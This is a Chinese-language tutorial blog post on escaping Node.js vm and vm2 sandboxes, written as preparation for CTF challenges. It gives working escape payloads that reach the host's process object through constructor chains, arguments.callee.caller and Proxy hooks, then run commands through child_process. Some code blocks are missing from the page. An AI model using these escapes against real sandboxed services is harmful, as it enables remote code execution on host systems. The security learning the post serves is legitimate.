vm2沙箱逃逸
沙箱逃逸的概念
- 沙箱(sandbox)就是创建一个单独的运行代码的环境,和主机进行隔离,这样代码产生的危害就不会影响到主机,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。
- 沙箱(sandbox)和 虚拟机(VM)和 容器(Docker)之间的区别:sandbox和VM使用的都是虚拟化技术,但二者间使用的目的不一样。沙箱用来隔离有害程序,而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开。在实际防护时,使用Docker和sandbox嵌套的方式更多一点,安全性也更高。
- Nodejs中,通过vm模块来创建一个沙箱,但vm模块的漏洞较大,后续就出现了升级版的vm2,对vm做了优化,但是在旧版本仍然存在一些漏洞。
那么沙箱逃逸就是字面意思,逃离该沙箱环境对主机进行影响,比如rce等。
Nodejs命令执行
要进行rce就要先了解一下Nodejs的执行命令的一些模块和函数。
参考文章:https://www.w3cschool.cn/nwfchn/omcvtozt.html
eval():这个函数跟php的效果一样,也是直接将字符串当作代码执行。
eval('console.log("hello")');
child_process模块:该模块就是nodejs用来执行命令的模块
exec():该方法用来执行bash命令
var exec=require('child_process').exec;
var whoami=exec('whoami',function(error, stdout, stderr){
if(error){
console.log(error.stack);
console.log('Error code: '+error.code);
}
console.log('Child Process STDOUT: '+stdout);
});
eval('console.log("hello")');exec方法的第一个参数是所要执行的shell命令,第二个参数是回调函数,该函数接受三个参数,分别是发生的错误、标准输出的显示结果、标准错误的显示结果。
execFile():该方法直接执行特定的程序,参数作为数组传入,不会被bash解释,因此具有较高的安全性。
var execFile=require('child_process').execFile;
execFile('/bin/ls',['-l','.'],function(error,result){
console.log(result);
})spawn():spawn方法创建一个子进程来执行特定命令,用法与execFile方法类似,但是没有回调函数,只能通过监听事件,来获取运行结果。它属于异步执行,适用于子进程长时间运行的情况。
var spawn=require('child_process').spawn;
var who=spawn('whoami');
who.stdout.on('data',function(data){
console.log('stdout: '+data);
});
who.stderr.on('data',function(data){
console.log('stderr: '+data)
});
who.on('close',function(code){
console.log('closing code: '+code);
});spawn方法接受两个参数,第一个是可执行文件,第二个是参数数组。
spawn对象返回一个对象,代表子进程。该对象部署了EventEmitter接口,它的data事件可以监听,从而得到子进程的输出结果。
spawn方法与exec方法非常类似,只是使用格式略有区别。
child_process.exec(command, [options], callback)
child_process.spawn(command, [args], [options])fork():fork方法直接创建一个子进程,执行Node脚本,
fork('./child.js')
相当于spawn('node', ['./child.js'])
。与spawn方法不同的是,fork会在父进程与子进程之间,建立一个通信管道,用于进程之间的通信。var n = child_process.fork('./child.js');
n.on('message', function(m) {
console.log('PARENT got message:', m);
});
n.send({ hello: 'world' });上面代码中,fork方法返回一个代表进程间通信管道的对象,对该对象可以监听message事件,用来获取子进程返回的信息,也可以向子进程发送信息。
child.js脚本的内容如下。
process.on('message', function(m) {
console.log('CHILD got message:', m);
});
process.send({ foo: 'bar' });上面代码中,子进程监听message事件,并向父进程发送信息。
send():使用 child_process.fork() 生成新进程之后,就可以用 child.send(message, [sendHandle]) 向新进程发送消息。新进程中通过监听message事件,来获取消息。也就是上面fork示例的代码。
vm沙箱逃逸
参考文章:NodeJs vm沙箱逃逸 - 先知社区 (aliyun.com)
vm模块的使用
- vm.createContext([contextObject[, options]])
该模块在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8引擎为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
**vm.runInContext(code, contextifiedSandbox[, options])**:该函数参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
runInContext需要配合createContext创建的沙箱来进行运行
所以这两个模块方法配合起来使用如下:
const vm=require('vm');
global.globalVar=5;
const sandbox={globalVar:10};
vm.createContext(sandbox);
vm.runInContext('globalVar*=2;console.log(globalVar);',sandbox);
console.log(globalVar);vm.runInThisContext(code[, options])
在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。
这里需要注意的就是runInThisContext虽然是会创建相关的沙箱环境,可以访问到global上的全局变量,但是访问不到自定义的变量。
|
可知可以访问全局变量,但自定义的不能访问,会报错。
|
- vm.runInNewContext(code[, contextObject[, options]])
creatContext和runInContext的结合版,传入要执行的代码和沙箱对象,不提供的话默认生成一个沙箱来进行使用。
提一嘴Nodejs中数据类型可以分为两大类:基本类型和对象类型
基本类型包括以下六种:
- string:表示文本数据,用单引号或双引号包裹,如 ‘hello’ 或 “world”。
- number:表示数值数据,可以是整数或小数,如 42 或 3.14。
- boolean:表示逻辑数据,只有两个值,true 或 false。
- null:表示空值,表示一个对象没有引用任何值。
- undefined:表示未定义值,表示一个变量没有被赋值。
- symbol:表示唯一的标识符,用 Symbol() 函数创建,如 Symbol(‘foo’)。
那么除了这些基本类型的就是对象类型了。
new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,指的是 code 中的变量、函数、对象等,不会自动成为全局作用域中的属性或成员。相反,它仅仅绑定于每次执行它的对象。
const vm = require("vm");
//script=new vm.Script('this.toString.constructor("return process")().mainModule.require("child_process").execSync("calc");')
script=new vm.Script('name="clown"');
const sandbox = {name:"test"};
const context=vm.createContext(sandbox);
script.runInContext(context);
console.log(sandbox);//{ name: 'clown' }
利用沙箱来执行命令
这里写一下不同沙箱执行命令的写法
runInThisContext
const vm=require('vm');
vm.runInThisContext(`process.mainModule.require('child_process').exec('calc')`);然后就能弹计算器了
这里了解一下为什么要这么写
process:
process 对象是 Node.js 提供的一个全局变量,它包含了有关当前 Node.js 进程的信息和控制方法。
process 对象可以直接使用,而不需要通过 require() 引入,是因为它是一个预定义的全局对象,类似于 console、global、Buffer 等。
process 对象有很多有用的属性和方法,例如:
process.env:可以获取或设置环境变量,如 process.env.NODE_ENV。
process.argv:可以获取命令行参数,如 process.argv[0]。
process.cwd():可以获取当前工作目录,如 process.cwd()。
process.exit():可以退出当前进程,如 process.exit(0)。
process.mainModule: 是 Node.js 提供的一个全局变量,它是一个对象,表示当前主模块的 Module 实例,主模块就是node执行的js。
它可以让你获取当前主模块的一些信息,例如它的文件名、路径、子模块等,比如process.mainModule.require。
因为沙箱中没有 require() 函数,这是 Node.js 的一个全局函数,用于加载模块,但它不是 global 对象上的一个属性,而是在每个模块的本地作用域中定义的。从上面的作用域可以知道,require就是在node执行的js内定义的函数,而沙箱内部就是另一个独立的模块,所以是没有require函数的,需要从process.mainModule中获取。
vm.runInContext(code, contextifiedSandbox[, options])
const vm=require('vm');
const sandbox={x:2};
vm.createContext(sandbox);
const code='this.toString.constructor("return process")();';
//vm.runInNewContext(`this.constructor.constructor('return process')()`);这样获取process对象也是可以的
const res=vm.runInContext(code,sandbox);
res.mainModule.require('child_process').exec('calc');因为该方法的作用域是独立于global的,所以我们需要先获取global的process对象,然后就可以执行命令了。
解释一下是怎么获取process对象的:
在沙箱中this指向全局环境中的{x:2}对象,这里通过调试可以看到
这个对象是不属于沙箱环境的,它属于全局环境,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Function的constructor),最后的
()
是调用这个用Function的constructor生成的函数,最终返回了一个process对象。这是一个构造器链的图例:
所以上面的toString和constructor都是Object.prototype上的属性,所以这两种写法都可以。
构造器链的尽头是
Function
,Function的构造器是Function本身,所以利用原型链调用Function的构造函数之后就能获得process对象。所以只要是this是外部的引用都是可以来进行逃逸的,所以下面这样写也是可以的
const vm = require("vm");
const sandbox = {
x: []
};
vm.createContext(sandbox);
const res = vm.runInNewContext('x.constructor.constructor("return process")()',sandbox);
console.log(res.mainModule.require('child_process').exec('calc'));但是如果x是是数字、字符串等primitive类型就无法逃逸出来,因为他们在传参的时候将数值传递过去,而不是引用属性,无法进一步调用
constructor
runInNewContext
const vm = require("vm");
const code = 'this.constructor.constructor("return process")();';
const res=vm.runInNewContext(code);
console.log(res.mainModule.require("child_process").exec('calc'));原理和上面的runInContext一样。
new vm.Script(code, options)
const vm = require("vm");
script=new vm.Script('this.toString.constructor("return process")().mainModule.require("child_process").execSync("calc");')
const sandbox = {x:[]};
const context=vm.createContext(sandbox);
script.runInContext(context);这里同理。
vm绕过Object.create(null)
当我们的sandbox沙箱对象设置为null时,就无法通过this.construtor来获取Function的构造函数
|
上面的函数就会报如下错误
绕过一种方法就是利用arguments.callee.caller
这里了解一下arguments是什么
|
|
那思路就是在沙箱内定义一个函数,在沙箱外调用这个函数,那么这个函数的arguments.callee.caller则会返回沙箱外的一个对象,那么我们我们就可以在沙箱内进行逃逸了
那么下面的写法就可以进行绕过:
|
说一下大概流程:
这里在沙箱内定义了一个函数将toString()进行了重写,我们在vm.runInContext(func, context)这里执行了该函数重写toString后返回了沙箱内的a对象,然后console.log的时候默认执行了toString()方法,这个时候cc获得的就是外部执行对象,然后我们就成功进行了逃逸。
这里也可以自己去调试一下会更加清晰。
如果无法重写或触发toString()方法,还可以利用Proxy来劫持属性
这里了解一下Proxy:
|
这是一个例子:
|
下面是利用get钩子和set钩子来进行逃逸的例子
|
这里的原理就是在沙箱外部访问了代理对象的任意属性,即使属性不存在也会自动调用钩子函数,这样就和上面一样得到了外部对象然后进行命令执行
|
这里的原理就是为代理对象添加属性时会自动调用set钩子,那么就达到了获取外部对象的目的,然后成功命令执行
上面的过程也可以去调试一下代码会更加清晰运行过程。
vm2沙箱逃逸
参考文章:NodeJS VM和VM2沙箱逃逸 - 先知社区 (aliyun.com)
vm2的具体实现原理参考这篇文章:vm2实现原理分析-安全客 - 安全资讯平台 (anquanke.com)
vm2在vm的基础上进行了优化,比较重要的就是利用了Proxy代理,使用钩子拦截constructor和__ proto __这些属性的访问。
网上看好像vm2的代码在3.9版本之后大幅修改,结构变成下面这样
和上面的文章文件结构都不一样,不过使用的方法没有变化。
我们用到的vm2的沙箱环境是通过main.js导出的VM和NodeVM,还有一个VMScript是封装了vm.Script
vm2执行代码示例如下:
|
VM 是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化之后调用
run
方法即可运行一段脚本。
上述代码的具体运行原理我就贴个图,具体的要去看文章,因为代码结构变了在新的vm2中
还有一篇文章分析了两个案例:vm2沙箱逃逸分析-安全客 - 安全资讯平台 (anquanke.com)
题目分析
这里找几道题分析吧,vm2原理看得头大。
[HFCTF2020]JustEscape
这题在buu上面有